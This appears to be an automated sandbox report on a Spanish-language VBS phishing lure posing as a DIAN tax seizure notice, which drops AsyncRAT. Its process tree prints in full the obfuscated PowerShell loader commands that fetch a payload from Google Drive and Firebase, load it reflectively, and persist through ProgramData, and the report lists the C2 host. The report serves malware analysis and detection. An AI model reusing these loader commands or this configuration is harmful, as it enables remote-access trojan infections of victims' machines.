Resubmissions

30-10-2024 14:31

241030-rvq7zawaln 10

30-10-2024 14:23

241030-rp9r5avhnl 10

Analysis

  • max time kernel
    175s
  • max time network
    184s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30-10-2024 14:23

General

  • Target

    DOCUMENTO_SISTEMA_REQUERIMIENTO_DIAN_PROCESO_DE_EMBARGO_REVISION_INMEDIATA_ad8098904901470147f818615.vbs

  • Size

    68KB

  • MD5

    722ef0f62d5f0d96f0f63888e0d8ae39

  • SHA1

    0afc5ebc973e07bc01682922e5972dbfead09691

  • SHA256

    b2bea3384dc24126675379eb1473946f2927a10d8eff6730bc024716ef0f6864

  • SHA512

    9e614dbf3ea73992903a5a93884733ce4346e9108a78fba4f0ded8200cfd0fc33a929cebf2a1236163e63e6e33ac0b0daf8af8e881bb125f9cd57986db5454b2

  • SSDEEP

    1536:bUJW4Wrle/PhG+/kery+bGNccc3gt5pzaUGwm:jS7rgt5pnGwm

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Extracted

Family

asyncrat

Version

| CRACKED BY https://t.me/xworm_v2

Botnet

zzzzDefaultIT

C2

deadpoolstart2030.duckdns.org:6090

Mutex

CookieWin

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Asyncrat family
  • Blocklisted process makes network request 15 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Delays execution with timeout.exe 1 IoCs
  • Script User-Agent 6 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of WriteProcessMemory 50 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DOCUMENTO_SISTEMA_REQUERIMIENTO_DIAN_PROCESO_DE_EMBARGO_REVISION_INMEDIATA_ad8098904901470147f818615.vbs"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2600
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgncnRraW1hZ2VVcmwgPSA0VjNodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdScrJ2M/ZXhwb3J0PWRvd25sb2FkJmlkPTFBSVYnKydnSkonKydKdjFGNnZTNHNVJysnT3libkgtc0R2VWhCWXd1cjRWMztydGt3ZWJDbGllbnQgPSBOZXctJysnT2JqZWN0IFMnKyd5c3RlbS5OZXQuV2ViQ2xpZW50O3J0a2ltYWdlQnl0ZXMgPSBydGt3ZWJDbGllbnQuRG8nKyd3bmxvYWREYXQnKydhKHJ0a2ltYWdlVXJsKTtydGtpbWFnZVRleHQgPSBbU3lzJysndGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhydGtpbWFnZUJ5dGVzKTtydGtzdGFyJysndEZsYWcgPSA0VjM8PCcrJ0JBU0U2NF9TVEFSVD4+NFYzO3J0a2VuZEZsYWcgPSA0VjM8PEJBU0U2NF9FTkQ+PjRWMztydGtzdGFydEknKyduZGV4ID0gcnRrJysnaW1hZ2VUZXh0LkluZGV4T2YocnRrc3RhcnRGbGFnKTtydGtlbmRJbmRleCA9IHJ0a2ltYWdlVGV4dC5JbmRleE9mKHJ0a2UnKyduZEZsYWcpO3J0a3N0YScrJ3J0SW5kJysnZXggLWdlIDAgLWFuZCBydGtlbmRJbmRleCAtZ3QgcnRrc3RhcnRJbmRleDtydGtzJysndGFydEluZGV4ICs9IHJ0a3N0YXJ0RmxhJysnZy5MZW5ndGg7cnRrYmFzZTY0TGVuZ3RoID0gcnRrZW5kSW5kZXggLSBydGtzdGFydEluZGV4O3J0a2Jhc2U2NENvbW1hbmQgPSBydGtpbWFnZVRleHQuU3Vic3RyaW5nKCcrJ3J0a3N0YXJ0SW5kZXgsIHJ0a2Jhc2U2NExlbmd0aCcrJyk7cnRrYmFzJysnZTY0UmV2ZXJzZWQgPSAtam9pbiAocnRrJysnYmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFJCViAnKydGJysnb3JFYWNoLU9iamVjdCB7IHJ0a18gfSlbLTEuLi0ocnRrYmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtydGtjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKHInKyd0a2Jhc2U2NFJldmVyc2VkKTtydGtsb2FkZScrJ2RBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5BJysnc3NlbWJseV06OkxvJysnYWQocnRrY29tbWFuZEJ5dGVzKTtydGt2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKDRWM1ZBSTRWMyk7cnRrdmFpTWV0aG9kLkludm9rZShydGtudWxsLCAnKydAKDRWMzcyNWVhY2JkNTFmMScrJy0wNjliLTA2NTQtYTlhNC1hM2Y4MjFjMD1uZWtvdCZhaWRlbT10bGE/dHh0LlRJVFNFVC9vL21vYy50b3BzcHBhLmIxMGFlLW9pbS1vdGNlJysneW9ycC9iLzB2L21vYy5zaXBhZWxnb29nLmVnYXJvdHNlc2FiZXJpZi8vOnNwdHRoNFYzLCA0VjNkZXNhdGl2YWRvNFYzLCA0VicrJzNkZXNhdCcrJ2l2YWRvNFYzLCA0VjNkZXNhdGl2YWRvNFYzLCA0VjNNU0J1aWxkNFYzJysnLCA0VjNkZXNhdGl2YWQnKydvNFYzLDRWM2Rlc2F0aXZhZG80VjMsNFYnKyczZGVzYXRpdmFkJysnbzRWMyw0VicrJzNVUkw0VjMsIDRWM0M6Ym0nKydXUHJvZ3JhbURhdGFiJysnbVc0VjMsNFYzY2Fydm9lamFyNFYzLDRWM3ZiczRWMyw0JysnVjMxNFYzLDRWMzE0VjMpKTsnKS1jUmVwTEFjRSAgJ3J0aycsW0NIYXJdMzYgIC1SZVBMQUNFKFtDSGFyXTgyK1tDSGFyXTY2K1tDSGFyXTg2KSxbQ0hhcl0xMjQgLVJlUExBQ0UgKFtDSGFyXTUyK1tDSGFyXTg2K1tDSGFyXTUxKSxbQ0hhcl0zOS1jUmVwTEFjRSAgKFtDSGFyXTk4K1tDSGFyXTEwOStbQ0hhcl04NyksW0NIYXJdOTIpIHwgJiAoIChbc1RSSW5HXSR2ZXJCT1NFUFJFRmVyRW5jZSlbMSwzXSsneCctam9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4288
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('rtkimageUrl = 4V3https://drive.google.com/u'+'c?export=download&id=1AIV'+'gJJ'+'Jv1F6vS4sU'+'OybnH-sDvUhBYwur4V3;rtkwebClient = New-'+'Object S'+'ystem.Net.WebClient;rtkimageBytes = rtkwebClient.Do'+'wnloadDat'+'a(rtkimageUrl);rtkimageText = [Sys'+'tem.Text.Encoding]::UTF8.GetString(rtkimageBytes);rtkstar'+'tFlag = 4V3<<'+'BASE64_START>>4V3;rtkendFlag = 4V3<<BASE64_END>>4V3;rtkstartI'+'ndex = rtk'+'imageText.IndexOf(rtkstartFlag);rtkendIndex = rtkimageText.IndexOf(rtke'+'ndFlag);rtksta'+'rtInd'+'ex -ge 0 -and rtkendIndex -gt rtkstartIndex;rtks'+'tartIndex += rtkstartFla'+'g.Length;rtkbase64Length = rtkendIndex - rtkstartIndex;rtkbase64Command = rtkimageText.Substring('+'rtkstartIndex, rtkbase64Length'+');rtkbas'+'e64Reversed = -join (rtk'+'base64Command.ToCharArray() RBV '+'F'+'orEach-Object { rtk_ })[-1..-(rtkbase64Command.Length)];rtkcommandBytes = [System.Convert]::FromBase64String(r'+'tkbase64Reversed);rtkloade'+'dAssembly = [System.Reflection.A'+'ssembly]::Lo'+'ad(rtkcommandBytes);rtkvaiMethod = [dnlib.IO.Home].GetMethod(4V3VAI4V3);rtkvaiMethod.Invoke(rtknull, '+'@(4V3725eacbd51f1'+'-069b-0654-a9a4-a3f821c0=nekot&aidem=tla?txt.TITSET/o/moc.topsppa.b10ae-oim-otce'+'yorp/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth4V3, 4V3desativado4V3, 4V'+'3desat'+'ivado4V3, 4V3desativado4V3, 4V3MSBuild4V3'+', 4V3desativad'+'o4V3,4V3desativado4V3,4V'+'3desativad'+'o4V3,4V'+'3URL4V3, 4V3C:bm'+'WProgramDatab'+'mW4V3,4V3carvoejar4V3,4V3vbs4V3,4'+'V314V3,4V314V3));')-cRepLAcE 'rtk',[CHar]36 -RePLACE([CHar]82+[CHar]66+[CHar]86),[CHar]124 -RePLACE ([CHar]52+[CHar]86+[CHar]51),[CHar]39-cRepLAcE ([CHar]98+[CHar]109+[CHar]87),[CHar]92) | & ( ([sTRInG]$verBOSEPREFerEnce)[1,3]+'x'-joiN'')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4180
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\carvoejar.vbs"
          4⤵
            PID:3120
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4980
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp1A11.tmp.bat""
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:5092
              • C:\Windows\SysWOW64\timeout.exe
                timeout 3
                6⤵
                • System Location Discovery: System Language Discovery
                • Delays execution with timeout.exe
                PID:4380
    • C:\Windows\system32\wscript.exe
      wscript.exe C:\ProgramData\carvoejar.vbs
      1⤵
      • Blocklisted process makes network request
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:1388
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgncnRraW1hZ2VVcmwgPSA0VjNodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdScrJ2M/ZXhwb3J0PWRvd25sb2FkJmlkPTFBSVYnKydnSkonKydKdjFGNnZTNHNVJysnT3libkgtc0R2VWhCWXd1cjRWMztydGt3ZWJDbGllbnQgPSBOZXctJysnT2JqZWN0IFMnKyd5c3RlbS5OZXQuV2ViQ2xpZW50O3J0a2ltYWdlQnl0ZXMgPSBydGt3ZWJDbGllbnQuRG8nKyd3bmxvYWREYXQnKydhKHJ0a2ltYWdlVXJsKTtydGtpbWFnZVRleHQgPSBbU3lzJysndGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhydGtpbWFnZUJ5dGVzKTtydGtzdGFyJysndEZsYWcgPSA0VjM8PCcrJ0JBU0U2NF9TVEFSVD4+NFYzO3J0a2VuZEZsYWcgPSA0VjM8PEJBU0U2NF9FTkQ+PjRWMztydGtzdGFydEknKyduZGV4ID0gcnRrJysnaW1hZ2VUZXh0LkluZGV4T2YocnRrc3RhcnRGbGFnKTtydGtlbmRJbmRleCA9IHJ0a2ltYWdlVGV4dC5JbmRleE9mKHJ0a2UnKyduZEZsYWcpO3J0a3N0YScrJ3J0SW5kJysnZXggLWdlIDAgLWFuZCBydGtlbmRJbmRleCAtZ3QgcnRrc3RhcnRJbmRleDtydGtzJysndGFydEluZGV4ICs9IHJ0a3N0YXJ0RmxhJysnZy5MZW5ndGg7cnRrYmFzZTY0TGVuZ3RoID0gcnRrZW5kSW5kZXggLSBydGtzdGFydEluZGV4O3J0a2Jhc2U2NENvbW1hbmQgPSBydGtpbWFnZVRleHQuU3Vic3RyaW5nKCcrJ3J0a3N0YXJ0SW5kZXgsIHJ0a2Jhc2U2NExlbmd0aCcrJyk7cnRrYmFzJysnZTY0UmV2ZXJzZWQgPSAtam9pbiAocnRrJysnYmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFJCViAnKydGJysnb3JFYWNoLU9iamVjdCB7IHJ0a18gfSlbLTEuLi0ocnRrYmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtydGtjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKHInKyd0a2Jhc2U2NFJldmVyc2VkKTtydGtsb2FkZScrJ2RBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5BJysnc3NlbWJseV06OkxvJysnYWQocnRrY29tbWFuZEJ5dGVzKTtydGt2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKDRWM1ZBSTRWMyk7cnRrdmFpTWV0aG9kLkludm9rZShydGtudWxsLCAnKydAKDRWMzcyNWVhY2JkNTFmMScrJy0wNjliLTA2NTQtYTlhNC1hM2Y4MjFjMD1uZWtvdCZhaWRlbT10bGE/dHh0LlRJVFNFVC9vL21vYy50b3BzcHBhLmIxMGFlLW9pbS1vdGNlJysneW9ycC9iLzB2L21vYy5zaXBhZWxnb29nLmVnYXJvdHNlc2FiZXJpZi8vOnNwdHRoNFYzLCA0VjNkZXNhdGl2YWRvNFYzLCA0VicrJzNkZXNhdCcrJ2l2YWRvNFYzLCA0VjNkZXNhdGl2YWRvNFYzLCA0VjNNU0J1aWxkNFYzJysnLCA0VjNkZXNhdGl2YWQnKydvNFYzLDRWM2Rlc2F0aXZhZG80VjMsNFYnKyczZGVzYXRpdmFkJysnbzRWMyw0VicrJzNVUkw0VjMsIDRWM0M6Ym0nKydXUHJvZ3JhbURhdGFiJysnbVc0VjMsNFYzY2Fydm9lamFyNFYzLDRWM3ZiczRWMyw0JysnVjMxNFYzLDRWMzE0VjMpKTsnKS1jUmVwTEFjRSAgJ3J0aycsW0NIYXJdMzYgIC1SZVBMQUNFKFtDSGFyXTgyK1tDSGFyXTY2K1tDSGFyXTg2KSxbQ0hhcl0xMjQgLVJlUExBQ0UgKFtDSGFyXTUyK1tDSGFyXTg2K1tDSGFyXTUxKSxbQ0hhcl0zOS1jUmVwTEFjRSAgKFtDSGFyXTk4K1tDSGFyXTEwOStbQ0hhcl04NyksW0NIYXJdOTIpIHwgJiAoIChbc1RSSW5HXSR2ZXJCT1NFUFJFRmVyRW5jZSlbMSwzXSsneCctam9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3124
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('rtkimageUrl = 4V3https://drive.google.com/u'+'c?export=download&id=1AIV'+'gJJ'+'Jv1F6vS4sU'+'OybnH-sDvUhBYwur4V3;rtkwebClient = New-'+'Object S'+'ystem.Net.WebClient;rtkimageBytes = rtkwebClient.Do'+'wnloadDat'+'a(rtkimageUrl);rtkimageText = [Sys'+'tem.Text.Encoding]::UTF8.GetString(rtkimageBytes);rtkstar'+'tFlag = 4V3<<'+'BASE64_START>>4V3;rtkendFlag = 4V3<<BASE64_END>>4V3;rtkstartI'+'ndex = rtk'+'imageText.IndexOf(rtkstartFlag);rtkendIndex = rtkimageText.IndexOf(rtke'+'ndFlag);rtksta'+'rtInd'+'ex -ge 0 -and rtkendIndex -gt rtkstartIndex;rtks'+'tartIndex += rtkstartFla'+'g.Length;rtkbase64Length = rtkendIndex - rtkstartIndex;rtkbase64Command = rtkimageText.Substring('+'rtkstartIndex, rtkbase64Length'+');rtkbas'+'e64Reversed = -join (rtk'+'base64Command.ToCharArray() RBV '+'F'+'orEach-Object { rtk_ })[-1..-(rtkbase64Command.Length)];rtkcommandBytes = [System.Convert]::FromBase64String(r'+'tkbase64Reversed);rtkloade'+'dAssembly = [System.Reflection.A'+'ssembly]::Lo'+'ad(rtkcommandBytes);rtkvaiMethod = [dnlib.IO.Home].GetMethod(4V3VAI4V3);rtkvaiMethod.Invoke(rtknull, '+'@(4V3725eacbd51f1'+'-069b-0654-a9a4-a3f821c0=nekot&aidem=tla?txt.TITSET/o/moc.topsppa.b10ae-oim-otce'+'yorp/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth4V3, 4V3desativado4V3, 4V'+'3desat'+'ivado4V3, 4V3desativado4V3, 4V3MSBuild4V3'+', 4V3desativad'+'o4V3,4V3desativado4V3,4V'+'3desativad'+'o4V3,4V'+'3URL4V3, 4V3C:bm'+'WProgramDatab'+'mW4V3,4V3carvoejar4V3,4V3vbs4V3,4'+'V314V3,4V314V3));')-cRepLAcE 'rtk',[CHar]36 -RePLACE([CHar]82+[CHar]66+[CHar]86),[CHar]124 -RePLACE ([CHar]52+[CHar]86+[CHar]51),[CHar]39-cRepLAcE ([CHar]98+[CHar]109+[CHar]87),[CHar]92) | & ( ([sTRInG]$verBOSEPREFerEnce)[1,3]+'x'-joiN'')"
          3⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4496
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
            4⤵
              PID:4864
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
              4⤵
              • System Location Discovery: System Language Discovery
              PID:2160
      • C:\Windows\system32\wscript.exe
        wscript.exe C:\ProgramData\carvoejar.vbs
        1⤵
        • Blocklisted process makes network request
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:3140
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgncnRraW1hZ2VVcmwgPSA0VjNodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdScrJ2M/ZXhwb3J0PWRvd25sb2FkJmlkPTFBSVYnKydnSkonKydKdjFGNnZTNHNVJysnT3libkgtc0R2VWhCWXd1cjRWMztydGt3ZWJDbGllbnQgPSBOZXctJysnT2JqZWN0IFMnKyd5c3RlbS5OZXQuV2ViQ2xpZW50O3J0a2ltYWdlQnl0ZXMgPSBydGt3ZWJDbGllbnQuRG8nKyd3bmxvYWREYXQnKydhKHJ0a2ltYWdlVXJsKTtydGtpbWFnZVRleHQgPSBbU3lzJysndGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhydGtpbWFnZUJ5dGVzKTtydGtzdGFyJysndEZsYWcgPSA0VjM8PCcrJ0JBU0U2NF9TVEFSVD4+NFYzO3J0a2VuZEZsYWcgPSA0VjM8PEJBU0U2NF9FTkQ+PjRWMztydGtzdGFydEknKyduZGV4ID0gcnRrJysnaW1hZ2VUZXh0LkluZGV4T2YocnRrc3RhcnRGbGFnKTtydGtlbmRJbmRleCA9IHJ0a2ltYWdlVGV4dC5JbmRleE9mKHJ0a2UnKyduZEZsYWcpO3J0a3N0YScrJ3J0SW5kJysnZXggLWdlIDAgLWFuZCBydGtlbmRJbmRleCAtZ3QgcnRrc3RhcnRJbmRleDtydGtzJysndGFydEluZGV4ICs9IHJ0a3N0YXJ0RmxhJysnZy5MZW5ndGg7cnRrYmFzZTY0TGVuZ3RoID0gcnRrZW5kSW5kZXggLSBydGtzdGFydEluZGV4O3J0a2Jhc2U2NENvbW1hbmQgPSBydGtpbWFnZVRleHQuU3Vic3RyaW5nKCcrJ3J0a3N0YXJ0SW5kZXgsIHJ0a2Jhc2U2NExlbmd0aCcrJyk7cnRrYmFzJysnZTY0UmV2ZXJzZWQgPSAtam9pbiAocnRrJysnYmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFJCViAnKydGJysnb3JFYWNoLU9iamVjdCB7IHJ0a18gfSlbLTEuLi0ocnRrYmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtydGtjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKHInKyd0a2Jhc2U2NFJldmVyc2VkKTtydGtsb2FkZScrJ2RBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5BJysnc3NlbWJseV06OkxvJysnYWQocnRrY29tbWFuZEJ5dGVzKTtydGt2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKDRWM1ZBSTRWMyk7cnRrdmFpTWV0aG9kLkludm9rZShydGtudWxsLCAnKydAKDRWMzcyNWVhY2JkNTFmMScrJy0wNjliLTA2NTQtYTlhNC1hM2Y4MjFjMD1uZWtvdCZhaWRlbT10bGE/dHh0LlRJVFNFVC9vL21vYy50b3BzcHBhLmIxMGFlLW9pbS1vdGNlJysneW9ycC9iLzB2L21vYy5zaXBhZWxnb29nLmVnYXJvdHNlc2FiZXJpZi8vOnNwdHRoNFYzLCA0VjNkZXNhdGl2YWRvNFYzLCA0VicrJzNkZXNhdCcrJ2l2YWRvNFYzLCA0VjNkZXNhdGl2YWRvNFYzLCA0VjNNU0J1aWxkNFYzJysnLCA0VjNkZXNhdGl2YWQnKydvNFYzLDRWM2Rlc2F0aXZhZG80VjMsNFYnKyczZGVzYXRpdmFkJysnbzRWMyw0VicrJzNVUkw0VjMsIDRWM0M6Ym0nKydXUHJvZ3JhbURhdGFiJysnbVc0VjMsNFYzY2Fydm9lamFyNFYzLDRWM3ZiczRWMyw0JysnVjMxNFYzLDRWMzE0VjMpKTsnKS1jUmVwTEFjRSAgJ3J0aycsW0NIYXJdMzYgIC1SZVBMQUNFKFtDSGFyXTgyK1tDSGFyXTY2K1tDSGFyXTg2KSxbQ0hhcl0xMjQgLVJlUExBQ0UgKFtDSGFyXTUyK1tDSGFyXTg2K1tDSGFyXTUxKSxbQ0hhcl0zOS1jUmVwTEFjRSAgKFtDSGFyXTk4K1tDSGFyXTEwOStbQ0hhcl04NyksW0NIYXJdOTIpIHwgJiAoIChbc1RSSW5HXSR2ZXJCT1NFUFJFRmVyRW5jZSlbMSwzXSsneCctam9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1088
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('rtkimageUrl = 4V3https://drive.google.com/u'+'c?export=download&id=1AIV'+'gJJ'+'Jv1F6vS4sU'+'OybnH-sDvUhBYwur4V3;rtkwebClient = New-'+'Object S'+'ystem.Net.WebClient;rtkimageBytes = rtkwebClient.Do'+'wnloadDat'+'a(rtkimageUrl);rtkimageText = [Sys'+'tem.Text.Encoding]::UTF8.GetString(rtkimageBytes);rtkstar'+'tFlag = 4V3<<'+'BASE64_START>>4V3;rtkendFlag = 4V3<<BASE64_END>>4V3;rtkstartI'+'ndex = rtk'+'imageText.IndexOf(rtkstartFlag);rtkendIndex = rtkimageText.IndexOf(rtke'+'ndFlag);rtksta'+'rtInd'+'ex -ge 0 -and rtkendIndex -gt rtkstartIndex;rtks'+'tartIndex += rtkstartFla'+'g.Length;rtkbase64Length = rtkendIndex - rtkstartIndex;rtkbase64Command = rtkimageText.Substring('+'rtkstartIndex, rtkbase64Length'+');rtkbas'+'e64Reversed = -join (rtk'+'base64Command.ToCharArray() RBV '+'F'+'orEach-Object { rtk_ })[-1..-(rtkbase64Command.Length)];rtkcommandBytes = [System.Convert]::FromBase64String(r'+'tkbase64Reversed);rtkloade'+'dAssembly = [System.Reflection.A'+'ssembly]::Lo'+'ad(rtkcommandBytes);rtkvaiMethod = [dnlib.IO.Home].GetMethod(4V3VAI4V3);rtkvaiMethod.Invoke(rtknull, '+'@(4V3725eacbd51f1'+'-069b-0654-a9a4-a3f821c0=nekot&aidem=tla?txt.TITSET/o/moc.topsppa.b10ae-oim-otce'+'yorp/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth4V3, 4V3desativado4V3, 4V'+'3desat'+'ivado4V3, 4V3desativado4V3, 4V3MSBuild4V3'+', 4V3desativad'+'o4V3,4V3desativado4V3,4V'+'3desativad'+'o4V3,4V'+'3URL4V3, 4V3C:bm'+'WProgramDatab'+'mW4V3,4V3carvoejar4V3,4V3vbs4V3,4'+'V314V3,4V314V3));')-cRepLAcE 'rtk',[CHar]36 -RePLACE([CHar]82+[CHar]66+[CHar]86),[CHar]124 -RePLACE ([CHar]52+[CHar]86+[CHar]51),[CHar]39-cRepLAcE ([CHar]98+[CHar]109+[CHar]87),[CHar]92) | & ( ([sTRInG]$verBOSEPREFerEnce)[1,3]+'x'-joiN'')"
            3⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2452
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
              4⤵
                PID:3764
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                4⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of AdjustPrivilegeToken
                PID:3680

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\ProgramData\carvoejar.vbs

          Filesize

          68KB

          MD5

          722ef0f62d5f0d96f0f63888e0d8ae39

          SHA1

          0afc5ebc973e07bc01682922e5972dbfead09691

          SHA256

          b2bea3384dc24126675379eb1473946f2927a10d8eff6730bc024716ef0f6864

          SHA512

          9e614dbf3ea73992903a5a93884733ce4346e9108a78fba4f0ded8200cfd0fc33a929cebf2a1236163e63e6e33ac0b0daf8af8e881bb125f9cd57986db5454b2

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          3KB

          MD5

          f41839a3fe2888c8b3050197bc9a0a05

          SHA1

          0798941aaf7a53a11ea9ed589752890aee069729

          SHA256

          224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

          SHA512

          2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\MSBuild.exe.log

          Filesize

          425B

          MD5

          4eaca4566b22b01cd3bc115b9b0b2196

          SHA1

          e743e0792c19f71740416e7b3c061d9f1336bf94

          SHA256

          34ba0ab8d1850e7825763f413142a333ccbc05fa2b5499a28a7d27b8a1c5b4bb

          SHA512

          bc2b1bf45203e3bb3009a7d37617b8f0f7ffa613680b32de2b963e39d2cf1650614d7035a0cf78f35a4f5cb17a2a439e2e07deaefd2a4275a62efd0a5c0184a1

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          64B

          MD5

          d8b9a260789a22d72263ef3bb119108c

